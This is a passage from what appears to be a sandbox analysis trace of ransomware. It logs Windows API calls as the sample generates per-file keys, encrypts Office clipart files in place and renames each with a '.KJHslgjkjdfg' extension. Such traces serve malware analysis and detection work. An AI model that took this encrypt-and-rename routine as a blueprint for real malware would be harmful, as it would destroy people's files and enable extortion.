lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0210.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.982] GetProcessHeap () returned 0x990000 [0210.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.982] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.982] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.982] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.983] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x36aa, lpOverlapped=0x0) returned 1 [0210.998] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36b0, dwBufLen=0x36b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36b0) returned 1 [0210.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.998] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x36b0, lpOverlapped=0x0) returned 1 [0210.998] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.998] SetEndOfFile (hFile=0x130) returned 1 [0211.001] GetProcessHeap () returned 0x990000 [0211.001] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.001] GetProcessHeap () returned 0x990000 [0211.001] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.kjhslgjkjdfg")) returned 1 [0211.003] CloseHandle (hObject=0x130) returned 1 [0211.004] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0211.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.005] GetProcessHeap () returned 0x990000 [0211.005] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.005] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.005] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0211.009] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.009] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.009] GetProcessHeap () returned 0x990000 [0211.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.009] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.009] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.009] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.009] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.009] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.009] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.009] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.010] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.010] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.010] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x32f6, lpOverlapped=0x0) returned 1 [0211.017] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3300, dwBufLen=0x3300 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3300) returned 1 [0211.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.017] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3300, lpOverlapped=0x0) returned 1 [0211.018] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.018] SetEndOfFile (hFile=0x130) returned 1 [0211.021] GetProcessHeap () returned 0x990000 [0211.021] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.021] GetProcessHeap () returned 0x990000 [0211.021] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.kjhslgjkjdfg")) returned 1 [0211.023] CloseHandle (hObject=0x130) returned 1 [0211.023] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0211.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.025] GetProcessHeap () returned 0x990000 [0211.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.025] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.026] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.026] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.026] GetProcessHeap () returned 0x990000 [0211.026] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.026] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.026] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.026] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.033] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.033] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.033] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.034] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.034] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.034] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7a80, lpOverlapped=0x0) returned 1 [0211.035] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a80, dwBufLen=0x7a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a80) returned 1 [0211.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.036] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7a80, lpOverlapped=0x0) returned 1 [0211.036] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.036] SetEndOfFile (hFile=0x130) returned 1 [0211.039] GetProcessHeap () returned 0x990000 [0211.039] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.039] GetProcessHeap () returned 0x990000 [0211.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.kjhslgjkjdfg")) returned 1 [0211.042] CloseHandle (hObject=0x130) returned 1 [0211.042] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0211.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.045] GetProcessHeap () returned 0x990000 [0211.045] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.045] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.048] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.048] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.048] GetProcessHeap () returned 0x990000 [0211.048] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.048] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.048] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.048] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.048] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.048] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.048] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.049] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.049] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4754, lpOverlapped=0x0) returned 1 [0211.050] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4760, dwBufLen=0x4760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4760) returned 1 [0211.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.050] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4760, lpOverlapped=0x0) returned 1 [0211.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.050] SetEndOfFile (hFile=0x130) returned 1 [0211.053] GetProcessHeap () returned 0x990000 [0211.053] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.054] GetProcessHeap () returned 0x990000 [0211.054] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.kjhslgjkjdfg")) returned 1 [0211.056] CloseHandle (hObject=0x130) returned 1 [0211.056] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0211.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.058] GetProcessHeap () returned 0x990000 [0211.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.059] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.059] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0211.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.062] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.062] GetProcessHeap () returned 0x990000 [0211.062] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.062] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.062] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.062] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.062] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.062] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.062] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.062] 